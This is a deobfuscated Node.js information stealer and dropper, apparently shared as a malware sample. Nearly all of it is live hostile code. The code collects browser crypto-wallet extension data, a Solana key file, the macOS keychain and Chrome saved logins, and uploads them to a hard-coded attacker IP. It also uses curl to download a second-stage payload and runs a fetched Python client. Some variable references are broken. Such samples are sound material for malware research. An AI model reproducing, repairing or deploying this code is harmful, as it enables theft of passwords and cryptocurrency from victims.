chips.deobfuscated.js

/*
NodeJS Malware | Origin github
Category: Stealer, Dropper
Deobfuscated By: VXAZ
*/
var fileSys = require("fs");
var osObj = require("os");
var execPath = require("path");
var requestObj = require("request");
var cryptoObj = require("crypto");
var childProcExec = require("child_process").exec;
var osHostName = osObj.hostname();
var osPlatform = osObj.platform();
var osHomeDir = osObj.homedir();
var osTempDir = osObj.tmpdir();
var osType = osObj.type();
var secondStageFileSize = 0;
var braveConfig = ['Local/BraveSoftware/Brave-Browser', 'BraveSoftware/Brave-Browser', 'BraveSoftware/Brave-Browser'];
var chromeConfig = ['Local/Google/Chrome', 'Google/Chrome', 'google-chrome'];
var operaConfig = ['Roaming/Opera Software/Opera Stable', 'com.operasoftware.Opera', 'opera'];
var extensionIDs = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "hnfanknocfeofbddgcijnmhnfnkdnaad", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj"];

function waitThenRetry() {
  setTimeout(() => {
    dropSecondStage();
  }, 2e4);
}

function attemptFileAccess(t) {
  try {
    fileSys.accessSync(t);
    return true;
  } catch (err) {
    return false;
  }
}

async function extractSecondStage(t) {
  childProcExec(
    "tar -xf ".concat(t, " -C ", osHomeDir),
    function(c, r, e) {
      if (c) {
        fileSys.rmSync(t);
        secondStageFileSize = 0;
        return undefined;
      }
      fileSys.rmSync(t);
      dropDependencies();
    }
  );
}

async function callCollectorWithConfig(t, c) {
  try {
    var r = "";
    if ("d" == osPlatform[0])
      r = "".concat(osHomeDir, "/Library/Application Support/", t[1]);
    else
    if ("l" == osPlatform[0])
      r = "".concat(osHomeDir, "/.config/", t[2]);
    else
      r = "".concat(osHomeDir, "/AppData/", t[0], "/User Data");
    await findAndPostLogFiles(r, "".concat(c, "_"), 0 == c);
  } catch (err) {}
}

function postCollectedFiles(collectedFiles) {
  try {
    var currentDate = new Date();
    requestObj.post({
        url: "http://147.124.213.11:1244/uploads",
        formData: {
          timestamp: currentDate.toString(),
          type: "unVzOQ8",
          hid: osHostName,
          multi_file: collectedFiles
        }
      },
      function handleNothing(from, post, req) {}
    );
  } catch (err) {}
}

async function findAndPostLogFiles(t, c, r) {
  var extensionDirContent;
  if (!t || "" === t) {
    return [];
  }
  try {
    if (!attemptFileAccess(t)) {
      return [];
    }
  } catch (err) {
    return [];
  }
  if (!c) {
    c = "";
  }
  var foundLogs = [];
  async function searchForLogFiles(dirItem) {
    var fullFilePath = execPath.join(extensionPath, ii);
    try {
      if (fullFilePath.includes(".ldb") || fullFilePath.includes(".log")) {
        foundLogs.push({
          value: fileSys.createReadStream(fullFilePath),
          options: {
            filename: "".concat(c, r, "_", selectedExtension, "_", ii)
          }
        });
      }
    } catch (err) {}
  }

  for (var i = 0; i < 200; i++) {
    for (var ii = 0; t < extensionIDs.length; t++) {
      var selectedExtension = extensionIDs[t];
      var extensionPath = "".concat(t, "/", 0 == i && "Default" || "Profile ".concat(i), "/", selectedExtension, "/", selectedExtension);
      if (attemptFileAccess(extensionPath)) {
        try {
          extensionDirContent = fileSys.readdirSync(extensionPath);
        } catch (err) {
          extensionDirContent = [];
        }
        extensionDirContent.forEach(searchForLogFiles);
      }
    }
  }
  if (i > 0) {
    solanaID = "".concat(osHomeDir, "/.config/solana/id.json");
    if (fileSys.existsSync(solanaID)) {
      try {
        foundLogs.push({
          value: fileSys.createReadStream(solanaID),
          options: {
            filename: "solana_id.txt"
          }
        });
      } catch (err) {}
    }
  }
  postCollectedFiles(foundLogs);
  return foundLogs;
}

async function findAndPostLogDBFiles() {
  var foundLogDBs = [];
  var loginDB = "".concat(osHomeDir, "/Library/Keychains/login.keychain");
  if (fileSys.existsSync(loginDB)) {
    try {
      foundLogDBs.push({
        value: fileSys.createReadStream(loginDB),
        options: {
          filename: "logkc-db"
        }
      });
    } catch (err) {}
  } else {
    loginDB += "-db";
    if (fileSys.existsSync(loginDB)) {
      try {
        foundLogDBs.push({
          value: fileSys.createReadStream(loginDB),
          options: {
            filename: "logkc-db"
          }
        });
      } catch (err) {}
    }
  }
  try {
    var chromeSupportDir = "".concat(osHomeDir, "/Library/Application Support/Google/Chrome");
    if (chromeSupportDir && "" !== chromeSupportDir && attemptFileAccess(chromeSupportDir)) {
      for (let i = 0; i < 200; i++) {
        try {
          var chromeLoginDataDir = chromeSupportDir.concat("/", 0 === i && "Default" || "Profile ".concat(i), "/", "Login Data")
          if (!attemptFileAccess(chromeLoginDataDir)) {
            continue;
          }
          if (attemptFileAccess(chromeSupportDir.concat("/ld_", i))) {
            foundLogDBs.push({
              value: fileSys.createReadStream(chromeSupportDir.concat("/ld_", i)),
              options: {
                filename: "pld_".concat(i)
              }
            });
          } else {
            fileSys.copyFile(
              chromeLoginDataDir,
              chromeSupportDir.concat("/ld_", i),
              function(t) {
                postCollectedFiles(
                  [{
                    value: fileSys.createReadStream(chromeSupportDir.concat("/", 0 === i && "Default" || "Profile ".concat(i), "/", c)),
                    options: {
                      filename: "pld_".concat(i)
                    }
                  }]
                );
              }
            );
          }
        } catch (err) {}
      }
    }
  } catch (err) {}
  postCollectedFiles(t);
  return t;
}

function dropSecondStage() {
  if (secondStageFileSize >= 51476596) {
    return;
  }
  var tmpDir = "".concat(osTempDir, "\\");

  if (fileSys.existsSync(tmpDir.concat("p.zi"))) {
    try {
      var h = fileSys.statSync(tmpDir.concat("p.zi"));
      if (h.size >= 51476596) {
        secondStageFileSize = h.size;
        fileSys.rename(
          tmpDir.concat("p.zi"),
          tmpDir.concat("p2.zip"),
          function(t) {
            if (t) {
              throw t;
            }
            extractSecondStage(tmpDir.concat(t));
          }
        );
      } else {
        if (secondStageFileSize < h.size) {
          secondStageFileSize = h.size;
        } else {
          fileSys.rmSync(tmpDir.concat("p.zi"));
          secondStageFileSize = 0;
        }
        waitThenRetry();
      }
    } catch (err) {}
  } else {
    childProcExec(
      'curl -Lo "'.concat(tmpDir, "p.zi", '" ', '"', "http://147.124.213.11:1244/pdown", '"'),
      (t, c, n) => {
        if (t) {
          secondStageFileSize = 0;
          return void waitThenRetry();
        }
        try {
          secondStageFileSize = 51476596;
          fileSys.renameSync(tmpDir.concat("p.zi"), tmpDir.concat(t));
          extractSecondStage(tmpDir.concat(t));
        } catch (err) {}
      }
    );
  }
}

async function dropDependencies() {
  return await new Promise(function(t, c) {
    if ("w" == osPlatform[0]) {
      if (fileSys.existsSync("".concat(osHomeDir, ".pyppython.exe"))) {
        try {
          fileSys.rmSync("".concat(osHomeDir, "/.npl"));
        } catch (err) {}
        requestObj.get(
          "http://147.124.213.11:1244/client/unVzOQ8",
          function(t, c, r) {
            if (!t) {
              try {
                fileSys.writeFileSync("".concat(osHomeDir, "/.npl"), r);
                childProcExec(
                  '"'.concat(osHomeDir, '.pyppython.exe" ', '"'.concat(osHomeDir, '/.npl"')),
                  function handleNothing(from, proc, exec) {}
                );
              } catch (err) {}
            }
          });

      } else {
        dropSecondStage();
      }
    } else {
      requestObj.get(
        "http://147.124.213.11:1244/client/unVzOQ8",
        function(t, c, e) {
          if (!t) {
            fileSys.writeFileSync("".concat(osHomeDir, "/.npl"), e);
            childProcExec('python3 "'.concat(osHomeDir, "/.npl", '"'), (t, c, a) => {});
          }
        }
      );
    }
  });
}
async function startCollection() {
  try {
    await (async function() {
      try {
        await callCollectorWithConfig(chromeConfig, 0);
        await callCollectorWithConfig(braveConfig, 1);
        await callCollectorWithConfig(operaConfig, 2);
        if ("w" == osPlatform[0]) {
          var edgeUserDataDir = "".concat(osHomeDir, "/AppData/", "Local/Microsoft/Edge/User Data");
          await findAndPostLogFiles(edgeUserDataDir, "3_", false);
        }
        if ("d" == osPlatform[0]) {
          await findAndPostLogDBFiles();
        }
      } catch (err) {}
    })();
    dropDependencies();
  } catch (err) {}
}
startCollection();

function restartCollection() {
  if (++collectionAttempts < 5) {
    startCollection();
  } else {
    clearInterval(intervalID);
  }
}
// entrypoint: setInterval
var collectionAttempts = 0;
var intervalID = setInterval(restartCollection, 6e5);